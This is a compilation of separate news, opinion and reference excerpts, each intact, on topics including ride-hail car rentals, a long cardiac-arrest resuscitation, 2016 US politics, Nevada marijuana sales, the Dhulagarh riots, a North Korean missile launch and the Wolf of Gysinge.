-San Francisco has filed a scathing legal critique with California regulators about the concept of renting vehicles for drivers with ride-hailing companies like Uber and Lyft, which was made public this week.  In the critique, The City argues safety measures and more abundant insurance should be required of drivers who drive commercial vehicles — and not personal ones — for ride-hailing companies.  The critique was released as Lyft also this week announced the expansion of its rental service Express Drive in partnership with General Motors, which will allow thousands of Lyft drivers to rent cars at a San Francisco “hub” for “as little as $0” to drive and pick up passengers starting in early August, according to Lyft.  More than 8,000 people in San Francisco alone have applied to drive with Lyft this year but were unable to because they lacked qualifying vehicles, according to Lyft.  “Now there’s an option for them,” said Mihir Gandhi, general manager of Lyft’s Northern California operations.  SFMTA’s sharp critique of commercial vehicle use for Lyft and Uber was made in a recent filing to the California Public Utilities Commission, which regulates the ride-hail companies, which are legally known as transportation network companies (or TNCs) in California.  SFMTA wrote that when Lyft and Uber first launched in California, “They argued that their ‘driver partners’ simply ‘shared’ their vehicles … while taxicab and limousine drivers were full time ‘professionals.’”  The CPUC is now considering “Phase III” of its new regulations for Lyft, Uber and other transportation network companies in California, mainly focused on the legality of commercial vehicles for ride-hail usage.  These rental and lease programs “illustrate the erosion of any distinction that may have existed” between ride-hail companies and for-hire drivers, like taxis or limousines, the SFMTA wrote.  Ride-hail drivers have publicly said the depreciation of their personal cars while on the road can be problematic. “Gough Street isn’t exactly easy on transmissions,” Gandhi said, and car rentals also ensure safer, cleaner vehicles.  Hertz also has a rental car partnership with Lyft that launched in San Francisco about a month ago.  Express Drive is available in Baltimore, Boston, Chicago and Washington D.C, according to Lyft. The foray into San Francisco will be its first California launch.  Click here or scroll down to comment
-By Roger D. White; Bruce W. Goodman; Mary A. Svoboda  Mayo Clinic Proceedings  A 54-year-old man with no known cardiac disease collapsed outdoors in a small rural community. The cardiac arrest was witnessed, and immediate cardiopulmonary resuscitation was begun by a bystander and a trained first responder who was nearby. The patient was moved into a building across the street for continued resuscitation. First responders arrived with an automated external defibrillator, and ventricular fibrillation was documented. First responders delivered 6 defibrillation shocks, 4 of which transiently restored an organized electrocardiographic rhythm but with no pulse at any time.  Additional emergency medical services personnel from nearby communities and an advanced life support (ALS) flight crew arrived. The flight crew initiated ALS care. The trachea was intubated, ventilation controlled, and end-tidal carbon dioxide tension continuously monitored. Antiarrhythmic and inotropic drugs were administered intravenously. An additional 6 shocks were delivered using the ALS defibrillator. End-tidal carbon dioxide measurements confirmed good pulmonary blood flow with chest compressions, and resuscitation was continued until a stable cardiac rhythm was restored after 96 minutes of pulselessness. The patient was transported by helicopter to the hospital. He was in cardiogenic shock but maintained a spontaneous circulation. Coronary angiography confirmed a left anterior descending coronary artery thrombotic occlusion that was treated successfully. After hospital admission, the patient required circulatory and ventilatory support and hemodialysis for acute renal failure. He experienced a complete neurologic recovery to his pre-cardlac arrest state. To our knowledge, this is the longest duration of pulselessness in an outof-hospital arrest with a good outcome. Good pulmonary blood flow was documented throughout by end-tidal carbon dioxide measurements.
-Ohio Gov. John Kasich arrives for a town hall meeting at the Hopkinton Town Hall in New Hampshire in November, campaigning for the Republican presidential nomination. (Charles Ommanney/The Washington Post)  Gov. John Kasich finds himself in a peculiar situation these days. He’s responsible for helping to safeguard a Republican convention he will not speak at, a nominee he will not support and an arena he probably will not step foot in.  “It is odd, isn’t it?” Kasich says. “It’s going to be strange.”  Even stranger: When Kasich arrives Sunday in Cleveland for the Republican National Convention, he will be the one leading Hillary Clinton in a half-dozen battleground states — not presumptive nominee Donald Trump — according to a recent Ballotpedia poll. “I told somebody I should’ve quit earlier — I might have won!” he says, laughing, during a relaxed interview at the governor’s mansion in Columbus.  Things aren’t going so bad for a guy who dropped out of the presidential race in May, having won just one state — his own — and who some Republicans see as a bit too self-righteous and self-  focused. Kasich left the race with a high favorable rating among voters and has come to symbolize the anti-Trump faction of the party. With the convention approaching, the media is clamoring at his door, and his team can see the 2020 presidential election clearly on the horizon.  [Kasich: My Republican Party doesn’t like ideas]  John Kasich was never going to be president. The Fix's Chris Cillizza explains why. (Peter Stevenson/The Washington Post)  Led by political consultant John Weaver, Kasich’s advisers are very aware that he is having a moment in the spotlight, and they are not wasting a minute. Soon, he’ll head to New York to pitch to publishers a book proposal about the 2016 campaign and his message of “Two Paths,” contrasting Trump’s doomsday talk with his positive approach. The plan is to roll out the book in town halls across the country. His political 501(c)(4) is also being retooled to allow him to campaign for Republicans other than Trump and to promote the issues and values that are important to him.  “I’m not shutting my political operation down,” the governor and former congressman says. “I’m not closing any doors. But my focus right now is going to be on the House, the Senate, and the down-ticket here in my state.”  As for next week in Cleveland, he will be quite conspicuous — zipping to events and doing ample media in his parallel political universe. As the state’s chief executive, he will receive high-level security briefings at the command center twice daily. On Tuesday, Kasich will throw his own high-profile party at the Rock and Roll Hall of Fame for his supporters.  But what you’ll never see is Kasich in the same picture frame with Donald Trump. In addition to publicly refusing to support Trump, Weaver says that Kasich rebuffed multiple overtures in May from Team Trump to join the ticket. “He was not interested,” says Weaver. A senior official with the Trump campaign on Sunday denied that any overtures were made to Kasich about being Trump’s running mate. “We made overtures to bring him on board and get him to keep his pledge” to support the nominee, said the official.  Still, Kasich has figured out how to remain relevant, visible and loyal to his party, while separating himself from a man he believes is dangerous for America. He feels no obligation to help Trump win Ohio, a crucial battleground state. “It’s not on me,” says the governor, who enjoys a 58 percent job approval rating. “If he was to lose Ohio and lose the election and people would blame me, that’s just life.”  Nonetheless, Kasich is concerned that Trump will take down the Ohio Republican Party with him, so he plans to campaign aggressively for others, including Sen. Rob Portman, who is in a tough race with Democrat Ted Strickland, a former governor. He will also campaign for Sen. John McCain (R-Ariz.) and Sen. Kelly Ayotte (R-N.H.), he says.  Kasich, 64, says repeatedly during an hour-long interview that he is happy, at peace, and a better man for having gone through the grueling presidential campaign.  The Republican National Convention is approaching fast – but these big-name Republicans won't be attending. (Peter Stevenson/The Washington Post)  [Kasich leaves the presidential race]  He tries not to overtly criticize Trump, but it’s hard for him to hide his disapproval. He will acknowledge that Trump tapped into voter anger — but he accuses the brash real estate mogul of exploiting it, rather than resolving it.  “What he tapped into is: ‘The reason you don’t have a job is because some Mexican took it, and the reason you don’t have a job is because of the Chinese. And, by the way, America’s getting screwed. We never win anything.’ That’s no message,” Kasich says.  “That’s why I haven’t endorsed him. He feeds into people’s anger. . . . He doesn’t provide a way forward. . . . It’s just ‘trust me.’ I don’t trust any politician to tell you the truth.”  Next to Trump, Kasich saves his harshest words for Republican National Committee chairman Reince Priebus, whom he assails for crowning Trump the presumptive nominee in a tweet after the businessman won the Indiana primary on May 3 and Sen. Ted Cruz (R-Tex.) quit the race.  “What Priebus did was dead wrong, after Indiana, declaring Trump the nominee,” Kasich says, barely hiding his disgust. “I was still in it and I think he dissed me, and I think it’s inappropriate. I haven’t spoken to him. I don’t think there’s any point to it. I don’t even understand what he was doing. It was amateur hour for him.” Kasich left the race the next day. A spokesman for Priebus said Sunday that the party chairman was only stating the obvious. “It’s simple math,” said the spokesman.  No Republican has ever become president without winning Ohio, and Kasich and other state officials don’t think Trump is well-positioned to win here with his current message. In addition, Trump has been slow to build a ground operation. Although Ohio registered 1 million new Republican voters before the primary, exit polls showed many of those registered in order to vote for Kasich — not Trump.  “We’ve made no secret that the message has to be one of unifying and not dividing people,” says Matt Borges, chairman of the Ohio Republican Party, who talks to Trump.  And without that, Kasich does not see a path to a Trump victory in the general election. “Well, if you have trouble with Hispanics, if you have trouble with African Americans, if you have trouble with women,” he says. “I think they have these challenges, and I think they know it and they have to deal with it.”  So why didn’t the Ohio governor take off during the primaries, given his standing today? Political operatives maintain he entered the race too late, with low name recognition nationally and couldn’t raise the resources to get his message out.  Kasich also faults the media — which he says created Trump and never gave him the time of day. “We never got the kind of attention that traditionally candidates have gotten when they did well,” Kasich laments, citing his second-place finish in the New Hampshire primary.  “It was pretty remarkable,” Kasich says. “But what happened when that was over? Nothing. . . . After New Hampshire, we should have had enormous attention. The media just basically discounted me.”  Kasich has said that he might consider supporting Trump if his divisiveness and name-calling came to an end. But he says Trump’s rhetoric seems to have gotten worse.  “I was talking to a guy yesterday. He’s like, ‘Well, you need to be for Trump.’ What did they think my message was? Did they think it was just politics? This is stuff I feel really strongly about. My family feels stronger than I do about it.”  Citing Trump’s “attacks on women,” Kasich says his wife, Karen, and twin daughters are anti-Trump. “My girls are 16, so they can’t vote, but believe me, there’s no way he would get their vote.”  Asked how he would go about rebuilding his fractured party should Trump lose the election, he says, “I’m more worried about my country than I’m worried about my party right now.”  “Is all the immigration right? Of course it isn’t. But are we anti-immigrant? Of course not. Are we a party that says based on a religious test that somehow you’re not welcome? That’s not my party. . . . So the party has lost its way.”  He also faults Trump for his strident anti-trade position. “We need to be a party that favors trade. Are all the trade deals good? Obviously not. I’ve never been the greatest free-trade person, but I do realize that if you and I get into a trading situation, personally — we become closer. We sit down and we talk. It creates a relationship. If all of a sudden we shut that off, it isn’t good.”  Kasich was one of the first of many party leaders to take a pass on attending the convention. The list gets longer every day. “I cannot speak as to why anybody else is doing what they’re doing,” he says. “I’m just doing what I think is the right thing to do, based on my campaign, what I feel about the country, reflecting the views of my family. I’ll navigate through it.”  In the one and only telephone conversation he had with Trump after he left the race, Kasich said, he told the businessman that they were too different politically and personally for Kasich to support him. He asked Trump to read his “Two Paths” speech and let him know what he thought. He hasn’t heard back. Says Kasich with a shrug, “He wasn’t going to read my speech.”
-You’ll also find information and reviews of the official colourisation work I have completed for the BBC’s ‘Terror of the Zygons’, ‘Mind of Evil’ and ‘Genesis of the Daleks’ DVD releases, as well as details of the British Film institute premiere of the colourisation work on ‘The Mind of Evil‘ – the results from which have been aired on the BBC evening news. My work on episode One was televised in the US on Retro TV on 15th October 2014 and KBTC Public Television on Saturday 23rd January 2016.  I have also included my published print work as well various interviews I have given over the years. You’ll find press cuttings and podcasts which relate to my work and even clips of my TV appearances. Everything Babelcolour is hidden in the pages of this site!  And for fans of my work on YouTube you can find many videos to keep you occupied too. My YouTube Channel has over 7 million hits and 20,000 subscribers; so if you’d like to keep up to date on what’s next, click the Twitter button in the corner of this page and follow my updates on Twitter – you never know what you might be missing!  With a massive thank you to all the loyal fans who have supported the work I extend a very warm welcome to the Wonderful World of BabelColour.
-Archived Abstract of Former PSC Researcher  Anderson, Kermyt G. 2006. "How well does paternity confidence match actual paternity? Evidence from worldwide nonpaternity rates." Current Anthropology, 48(3): 511-518.  Little is known about how accurately men’s confidence of paternity reflects actual paternity. Are men with high paternity confidence more likely to be fathers than men with low paternity confidence? A sample of 67 worldwide nonpaternity rates is divided into three categories: high paternity confidence (N = 22, mostly from genetic studies), low paternity confidence (N = 31, containing men who contested paternity through paternity tests), and unknown paternity confidence (N = 14, mostly unpublished studies). The results show that men with high paternity confidence have very low rates of nonpaternity (median = 1.7%), while men with low paternity confidence have much higher levels of nonpaternity (median = 29.8%). When men with low and unknown paternity confidence levels are combined, the median nonpaternity rate is 3.3%. These levels are all significantly different from one another (Wilcoxon sign-rank test), confirming that men with high paternity confidence are more accurate in their assessment of paternity than men with low paternity confidence. These differences in nonpaternity between these groups remain when compared by geographical region (U.S., Europe, and elsewhere).
-LOS ANGELES—Long lines snaked out of marijuana dispensaries in Nevada on Saturday, as the western US state became the latest to legalize recreational pot.  Nevada joins Colorado, Oregon, Washington and Alaska as states where recreational marijuana sales are permitted. While pot is legal in several other states, it is governed by complicated local laws and still illegal according to federal law.  ADVERTISEMENT  Legal marijuana sales are sure to be a boon to the economy of Nevada’s largest city, Las Vegas, bolstering its reputation as an “anything goes” party town for millions of visitors from around the world.  “I’ll bet the state makes a cool million $ this weekend,” tweeted Democratic state Senator Tick Segerblom, a longtime advocate for legalization of marijuana.  “This is a game-changer for Las Vegas and tourism here as far as I’m concerned,” he told the Las Vegas Sun newspaper, adding, “Amsterdam on steroids.”  Destiny Diaz was in line for nearly three hours at the Jardin Premium Cannabis dispensary in Las Vegas, waiting for the law to go into effect at midnight on Saturday.  “It’s a great day and something people have been waiting a long time for,” she told the Sun. “We weren’t going to miss this.  Under Nevada’s new law, adults 21 and older can purchase up to one ounce (28 grams) of marijuana or up to one-eighth ounce of marijuana concentrates per day.  Las Vegas police posted a list of dos and don’ts in the newly marijuana-friendly state.  “Know the law! Here’s a few things to remember,” it said, pointing out that it is illegal to smoke or consume pot in public, to drive while high, or to give or sell it to those under age 21. /ra  RELATED STORIES  ADVERTISEMENT  Duterte favors medical marijuana use  Canada unveils legislation to legalize marijuana  Asian clout grows in Nevada; Filipinos are largest group  Read Next  LATEST STORIES  MOST READ
-In this excellent piece in Newslaundry, titled “Dhulagarh Riots: Why did Bengal media ignore it?”, Deepanjana Pal writes:  For approximately four hours, Dhulagarh burned. Shops were set on fire in the local bazaar and looted. The mob attacked homes, looting them and lobbing bombs – crude contraptions that are far more dangerous cousins of the pataka – at them. Eye witnesses say Hindu households were targeted. “You have to understand, everyone knows everyone in places that are this small,” said one reporter. “Hindus and Muslims live in separate neighbourhoods, but together. So when this happened, some of them recognised those who were attacking them and when they didn’t recognise them, they knew these were outsiders.” One temple was attacked and its idol – of Kali, the goddess best known for her all-destroying rage – was broken. There are reports of Hindu families having fled to neighbouring villages. All this violence took place in broad daylight. In the videos that have been circulated, no one is seen wearing masks. It’s all out in the open and witnessed by locals who tried to get in touch with journalists. From the videos and photographs that were shared, it almost seems like the locals did the actual on-ground reporting. They were desperate to talk and be heard. Unfortunately, few listened and Dhulagarh was barely mentioned in mainstream Bengali news. (emphasis mine) “What we were told was that since this is a communal issue, we should approach it cautiously and underplay it so that things don’t flare up,” said one journalist.  So the excuse being offered is that because reporting a communal incident might provoke other communal incidents, mediamen refuse to cover communal flareups.  The only problem with this is simply this.  It is not true.  Large sections of media, be it in Bengal or at the national level, has absolutely no problem in reporting communal incidents. They covered Dadri for months. Gujarat, 2002, they are still covering, and it is now 15 years.  It is only when the incidents run counter to their stated narrative, that India is being ruled by a fascist Hindu Hitler-wannabe who has instituted a reign of majoritarian terror, that the Indian media behave the same way as parents do when their children ask “Does Santa really exist? If he does why is the gift he brought the same as the one that has been lying in the trunk of our car for the last two days?”, namely with silence and then with an attempt to change the conversation. In Bengal there is the other reason for covering up communal incidents. Pretty much most of the media is mortally afraid of the TMC or indebted to it (usually both), and anything that shows the party in a bad light, a party that has been pulled by no less than the High Court for appeasement of a certain community, will not make it past the desks of the editors.  But for now, let us concentrate on our nation’s media mavens, the ones who win “Best Journalism Awards” instituted by their own channels, whose name echoes in time as the Bane of NRIs in Madison Square Garden.  You know where I am going with this.  While the riots are going on, when media involvement usually forces the government to act, when bad things can be prevented through press intervention, one of our country’s premier “journalist”s, based out of Delhi, parrots the Trinamool Congress line and denies the riots. He subsequently then puts “” around riots, in the same way I have put it around “journalist” in thie preceding sentence.  It is only after Zee TV gets involved, perhaps because their politics is more aligned with BJP, that his own channel India Today, perhaps because one cannot let a rival take the TRPs with a story, goes to the region and files a report, of helpless people having their life-savings looted, of a mother ruing her son’s irreplaceable study notes being burned in addition to having all their valuables taken, that the whole of India at least has the opportunity to look at the world, as it is.  Of course an FIR is filed against Zee TV for reporting the incident. Usually something like this brings forward a tidal wave of press outrage, of impassioned editorials and flowing pens, ruing the fascism of the Hindu majoritarians, but since this time, very inconveniently, it was not quite fitting into their narrative, we were treated to the manufactured diversion of “trolling in social media”. Double points here, because it is an issue that personally affects these media mavens, in the same way that Arnab Goswami’s barbs did, so it’s absolutely deserving of hours of media coverage, and impassioned chest-beating. The trolls make our social media life miserable. What? Your child’s laptop, the one you saved for years, was looted, and you have no house to stay in? Sorry, pal, tyranny of distance, my moral compass just can’t point there. Here, have some quotation marks.  The irony of this kind of targeted censorship is that it ends up hurting the very agenda that is close to their hearts. Since the media will try its level best not to report a particular type of communal violence, it then becomes very easy for Hindu fanatics to cook up or grossly exaggerate incidents of communal violence, then use social media to spread their message, and people will be more inclined to believe whatever they get on their FB walls or Whatsapp, the lack of coverage in mainstream media, perversely, validating the story: if the news channels aren’t covering this, it must be true.  India is a country where minorities are in constant peril, regardless of who is at the center. Anyone, of any religion, can be a minority, and whether you belong to a minority is a function of where you are located, who are around you and in what number, how organized they are, and who the local government is aligned with. So, yes, even in an India ruled by a Hindu nationalist party, there are significant sections where Hindus are minorities. By refusing to give coverage to violence perpetrated on them and worse by casting doubts on its truth, in one swell swoop, the media strengthens both extremes of the political spectrum and ossifies the culture of violence and intimidation of minorities, which we inherited during Partition, a culture which no party in India has the slightest interest in dismantling.  Not that our media superstars don’t know this. They are not that dumb. It’s just that their “anti-establishment” is basically anti-one-establishment, their anger deepened by the fact that the “wrong person” won in 2014. Which is why they have no compunction in echoing the TMC talking points, because they believe that TMC is also anti-that-one-establishment, even though in the context of the Bengal riots, TMC is the establishment. Which is why their moral compass keeps steady while refusing to cover or to resign to the back of the paper, anything that does not conform to their political narrative, of the fascism of the Hindu majoritarian rule in Delhi, no matter the human cost of what they choose to ignore.  Tragic.  Advertisements
-President-elect Donald Trump, with his wife Melania Trump and Senate Majority Leader Mitch McConnell, gives the thumbs up after a meeting in the majority leader's office in the U.S. Capitol . (EPA/SHAWN THEW)  President-elect Donald Trump and establishment Republicans did not really get along during the campaign. The last time we counted, earlier this fall, we calculated that House Speaker Paul D. Ryan (R-Wis.) disagreed with or denounced Trump on average every week-and-a-half or so.  But the campaign is over, and Republicans and Trump are trying to play nice. In interviews since the election, they've stressed they agree with their president on tax reform, repealing Obamacare and securing the border.  It's not uncommon for the party in the White House to have some disagreements with its own members in Congress. But if you take Trump's campaign promises at his word, Republicans have fundamental disagreements with their incoming president on his proposals to spend billions on infrastructure, deport millions of immigrants in the country illegally and institute more protectionist trade policies.  And the cracks on those issues are starting to show. Here are six areas where Republicans have given Trump's agenda a lukewarm response.  1. Deportation  Trump: "What we are going to do is get the people that are criminals and have criminal records, gang members, drug dealers, a lot of these people, probably 2 million. It could even be 3 million," he told CBS's Lesley Stahl in a "60 Minutes" interview that aired Sunday. "After the border is secured and after everything gets normalized, we're going to make a determination on the people that you're talking about, who are terrific people."  Ryan: "We are not planning on erecting a deportation force," he told Jake Tapper on Sunday's CNN "State of the Union." "Donald Trump is not planning on that."  (To that, hard-right news site Breitbart.com — whose former chief will be a top strategist to Trump — blasted out an article declaring: "Paul Ryan: No Deportations")  Newt Gingrich: "There are going to be substantial deportations. They're called criminals," the former House speaker and Trump ally told John Dickerson on Sunday on CBS's "Face the Nation." "I mean, 2 million people would be a lot of people to deport."  President-elect Trump's campaign surrogate Newt Gingrich, said Sunday, Nov. 13, that there will likely be "substantial deportations" of undocumented aliens under the administration of President-elect Donald Trump. (Reuters)  Kevin McCarthy: "Well, I think it's difficult to do," the House majority leader (R-Calif.) said Sunday in response to a question by Fox News's Chris Wallace on whether he'd get behind Trump's proposal for mass deportations.  2. A border wall  Trump: "Yes." (In response to a question by Stahl: "Are you really going to build a wall?") Trump did say he'd accept some proposals circulating in Congress for some fencing: "For certain areas, I would. But certain areas, a wall is more appropriate."  McCarthy: "You have to put a wall, it could be all virtual with the UAV airplanes as well, but I think that is doable and one of the first things that needs to be done. The terrain is different, so you can't always build in just a specific place, but you can protect it."  3. Trade  Trump: Has repeatedly said he'd like to renegotiate or rip up trade deals. And he has promised to establish tariffs in his first 100 days.  Ryan: "Well, I think there's a better way of dealing with that particular issue," Ryan said on CNN in response to a question about Trump's tariffs plan. "We think there are better ways of dealing with making American products and workers more competitive, and really it's fixing our tax code."  4. Term limits for members of Congress  During a rally in Colorado, Republican presidential nominee Donald Trump pledged to introduce a constitutional amendment that would impose term limits on members of Congress. (The Washington Post)  Trump: "We're going to put on term limits, which a lot of people aren't happy about, but we're putting on term limits," he said on "60 Minutes."  [Sorry, Donald Trump. Term limits for Congress are (probably) never, ever going to happen.]  Senate Majority Leader Mitch McConnell (R-Ky.): "I say we have term limits now. They’re called elections. It will not be on the agenda in the Senate," McConnell told reporters the day after the election.  5. Infrastructure spending  Trump: "We’re going to rebuild our infrastructure, which will become, by the way, second to none," Trump said on "60 Minutes." During the campaign, Trump pitched a 10-year, $500 billion infrastructure plan. "And we will put millions of our people to work as we rebuild it."  Ryan: In September, Ryan indicated such a plan as proposed by Trump would be too expensive. "We passed the biggest highway bill, the long-term highway bill, for the first time since the 1990s just a few months ago. That's already in place at 10 percent above baseline spending on mass transit and highways."  McCarthy: McCarthy said on Fox News that "there is a place we could find common ground with Republicans and Democrats" on infrastructure. But he seemed unable to explain how Trump's infrastructure spending plan differs from President Obama's 2009 stimulus. "Obama never had infrastructure in his stimulus," he said. (Infrastructure spending was a major part of Obama's stimulus.)  6. Whether Republicans have a mandate  Ryan: "He just earned a mandate, and we now just have a unified Republican government. The opportunity is to go big, to go bold and to get things done," he said in a news conference Wednesday.  McConnell: " I think it’s always a mistake to misread your mandate, and frequently new majorities think it’s going to be forever," he told reporters Wednesday. "Nothing is forever in this country."  Where Trump and Republicans are in agreement  There are a handful of areas that Trump and Republicans seem genuinely in agreement on. They are:  Obamacare: Trump wants to repeal it; Republicans want to repeal it. Trump wants to keep the parts of the law that allow people under the age of 26 to stay on their parents' health-care plans and that require insurance companies to insure people with preexisting conditions. It looks like Republicans do, too.  Ryan on CNN said: "We need to have a solution for people with preexisting conditions. In our plan is allowing younger people up to the age of 26 to stay on their parents' plan."  Secure the border: Republicans and Trump agree this is a priority, perhaps even before deporting immigrants in the country illegally.  Trump on 60 Minutes: "But before we make that determination, Lesley, it's very important — we want to secure our border."  Ryan on CNN: "We think that's first and foremost. Before we get into any other immigration issue, we have got to know who's coming and going in the country. We have got to secure the border."  Tax reform: Ryan's top policy priority appears to be one of Trump's as well.  "We're going to substantially simplify and lower the taxes," Trump said.  Steve Bannon: Trump tapped the controversial Breitbart chief Sunday to make him his chief strategist. On Sunday, Ryan said: "I don’t know Steve Bannon, so I have no concerns. I trust Donald’s judgment." On Monday in an interview with MSNBC, Trump's incoming chief of staff, Reince Priebus, said Bannon is "a force for good."  But on this key appointment, there is the potential for division between Republicans and Trump.  Hill Republicans were effusive in their praise and congratulations Sunday for Priebus — currently the head of the Republican National Committee and a buddy of Ryan's — getting the top job. But they were nearly silent on Bannon's appointment.  More from The Fix:  Google’s top news link for ‘final election results’ goes to a fake news site with false numbers  Donald Trump’s ’60 Minutes’ interview proves he believes he was right about everything  Why Donald Trump and his supporters want you to think protests against him are manufactured
-It may not a good day to be a North Korean missile designer. U.S. Northern Command announced today that North Korea last night launched a long-range Taepodong-2 missile. The missile's first stage fell into the Sea of Japan, and the remaining stages – along with a satellite payload – landed in the Pacific Ocean.  "No object entered orbit and no debris fell on Japan," the command said in a press release.  Not so, says North Korea. The Associated Press quotes Korean Central News Agency as saying the missile successfully lofted its payload into orbit. "The satellite is transmitting the melodies of the immortal revolutionary paeans 'Song of Gen. Kim Il Sung' and 'Song of Gen. Kim Jong Il' as well as measurement data back to Earth," KCNA said, referring to North Korea's founder and his successor.  Whether or not the experimental communications satellite Kwangmyongsong-2 is in orbit – or in the ocean – this launch probably counts as more successful than a 2006 Taepodong-2 test. That missile disintegrated less than a minute after leaving the launch pad.  Over the next week, no doubt, we'll see a lot of arguing about what North Korea's launch test means. For proponents of missile defense, it proves that North Korea is another step further to developing an ICBM capability. And for missile defense critics, it shows that North Korea is still a long way from building a missile that could pose a credible threat to the United States.  UPDATE: That makes Kim & Co. "oh-for-three" on long range missile launches, Arms Control Wonk says. "These guys really suck."  [IMAGE: California Literary Review]  ALSO:
-Hillary Clinton refuses to make public the transcripts of her speeches to big banks, three of which were worth a total of $675,000 to Goldman Sachs. She says she would release the transcripts "if everybody does it, and that includes Republicans." After all, she complained, "Why is there one standard for me, and not for everybody else?"  As the New York Times editorial board pointed out, "The only different standard here is the one Mrs. Clinton set for herself, by personally earning $11 million in 2014 and the first quarter of 2015 for 51 speeches to banks and other groups and industries."  Hillary is not running in the primaries against Republicans, who, the Times noted, "make no bones about their commitment to Wall Street deregulation and tax cuts for the wealthiest Americans."  She is running against Bernie Sanders, "a decades-long critic of Wall Street excess who is hardly a hot ticket on the industry speaking circuit," according to the Times.  Why do voters need to know what Hillary told the banks? Because it was Wall Street that was responsible for the 2008 recession, making life worse for most Americans. We need to know what, if anything, she promised these behemoths.  I Scratch Your Back, You Scratch Mine  Hillary has several super PACs, which have recently donated $25 million to her campaign, $15 million of which came from Wall Street.  Big banks and large contributors don't give their money away for nothing. They expect that their interests will be well served by those to whom they donate.  SCROLL TO CONTINUE WITH CONTENT Help Keep Common Dreams Alive Our progressive news model only survives if those informed and inspired by this work support our efforts  Hillary recently attended an expensive fundraiser at Franklin Square Capital, a hedge fund that gives big bucks to the fracking industry. Two weeks later, Hillary's campaign announced her continuing support for the production of natural gas, which comes from fracking.  Bernie opposes fracking. He said, "Just as I believe you can't take on Wall Street while taking their money, I don't believe you can take on climate change effectively while taking money from those who would profit off the destruction of the planet."  Bernie's "Political Revolution"  Bernie has no super PACs. His campaign has received 4 million individual contributions, that average $27 each. Perhaps Rupert Murdoch multiplied that amount by $100 in setting $2700 a head as the entrance fee for Hillary's latest campaign gala?  Bernie has called for a "political revolution" that "takes on the fossil fuel billionaires, accelerates our transition to clean energy, and finally puts people before the profits of polluters." He would retrain workers in the fossil fuel industries for clean energy jobs.  Bernie reminds us that the top one-tenth of 1% owns nearly as much wealth as the bottom 90%, and 99% of all new income goes to the top 1%. Unlike Hillary, he says healthcare is a right - not a privilege - and college and university tuition should be free.  Bernie and Congressman John Conyers introduced legislation to allocate $5.5 billion to states and communities to create employment programs for African-American youth. They say, "instead of putting military style equipment into police departments . . . we [should] start investing in jobs for the young people there who desperately need them."  How will we pay for all that? "If we cut military spending and corporate welfare, we would have more than enough money to meet America's needs," Bernie wrote in his 1997 book, Outsider in the House. "This nation currently spends $260 billion a year on defense, even though the Cold War is over," not counting "$30 billion spent annually on intelligence or the $20 billion in defense-related expenditures hidden away in our federal spending on energy," he added. Today, with all the wars our government is prosecuting, that figure is nearly $600 billion.  With Bernie Sanders, we have a unique opportunity to reverse long-standing priorities that favor the few at the expense of the many. Let us seize the time.
-In 2010, the University of Calgary announced that China’s Education Ministry had removed it from its list of accredited overseas institutions. The decision came weeks after the Canadian university had awarded an honorary degree to the Dalai Lama, whom the Chinese government accuses of promoting Tibetan independence from China.  A planned speech next month by the Dalai Lama at the University of California, San Diego, has already prompted the local chapter of the Chinese Students and Scholars Association to threaten “tough measures to resolutely resist the school’s unreasonable behavior.”  In her speech on Sunday, Ms. Yang said she had been relieved to find that she did not need to wear any of her five pollution masks in the United States. She also discovered, she said, that the freedoms enshrined in the Declaration of Independence were not the abstractions she had once imagined.  “Democracy and freedom are the fresh air that is worth fighting for,” she said.  But critics on social media skewered the address. Some took to Facebook and Weibo to challenge Ms. Yang’s comment about pollution masks:  One Facebook user, Sincerlia Yang, commented: “This is the real KunMing TODAY! Shuping Yang do you need five masks?”  Other users objected to Ms. Yang’s general tone.  “Our motherland needs a lot of improvements, but it’s still the motherland,” the Weibo user Guaishoukankan wrote in a typical comment. “There are different types of social issues and discrimination in the U.S., too.”  Still others cursed at Ms. Yang, or said that she would not be welcome in China.  In a statement that did not directly address the uproar, the University of Maryland said on Monday that it “proudly supports Shuping’s right to share her views and her unique perspectives.”  “The university believes that to be an informed global citizen it is critical to hear different viewpoints, to embrace diversity, and demonstrate tolerance when faced with views with which we may disagree,” the statement added. “Listening to and respectfully engaging with those whom we disagree are essential skills, both within university walls and beyond.”
-Demonoid, once one of the most popular BitTorrent trackers, has reappeared again, this time hosted in Ukraine. The website is still down but the trackers are now fully operational again, perhaps a sign that Demonoid is crawling back up to speed?  In June 2007 Demonoid was pressured to leave their host in the Netherlands, mainly because of legal threats from the Dutch anti-piracy outfit, BREIN. The site then relocated to Canada, but after threats from the CRIA, it decided to shut down there as well.  A month ago we reported on the brief resurrection of the Demonoid tracker in Malaysia. At the time we hinted at the possibility that the site could perhaps be planning a comeback. Unfortunately the tracker went offline again after a few days. With no official response from the Demonoid team, it remains a mystery what the reason behind the resurrection was.  Now, a month later, the Demonoid tracker is again responding. Just over a week ago, Demonoid torrents began to work again, this time being tracked from Ukraine.  The new host of inferno.demonoid.com is the Ukrainian ISP Cocall Ltd, while the frontend of the site still remains in the US. Again, there is no official explanation for the return of the tracker, although many hope that it’s a sign that the site will be fully up and running soon.  Last December, Demonoid’s founder Deimos spoke about the future of the site: “Money is an issue, but the real problem at the moment is finding a suitable place to host the website. There has been no luck there.” Perhaps he now found his safe harbor in Ukraine?
-The Wolf of Gysinge was a man-eating wolf which, in three months, attacked and killed many children in Gysinge near central Sweden in the early 1820s.  Attacks [ edit ]  During a three-month period between December 30, 1820 and March 27, 1821, the wolf attacked 31 people, which resulted in a total of 12 fatalities,[1] most of whom were partially consumed by the wolf. The attacks occurred near Gysinge (within present-day Sandviken Municipality) in Uppland, near the border of Dalarna and Gästrikland in central Sweden.[2]  With the exception of one 19-year-old woman, all victims of fatal attacks were children between the ages of three and a half, and 15; in addition, the 15 injured victims were mostly children, except for one 18-year-old male.  Wolf [ edit ]  The wolf was killed on March 27, 1821. Historical accounts indicate that before becoming a man-eater, the wolf was captured as a pup in 1817, and kept in captivity for several years before escaping. In captivity, wolves tend to lose their natural shyness of humans and thus attack more frequently after escape from captivity.[3]  Dramatisation [ edit ]  The incident was dramatised in the BBC Two TV series Manhunters in the final episode, "The Man-Eating Wolves of Gysinge", which aired on 16 December 2005.[4] The episode took artistic liberty in portraying the number of wolves involved in the attacks, showing two animals instead of one. The man-eating wolves were portrayed by Czechoslovakian Wolfdogs.  See also [ edit ]
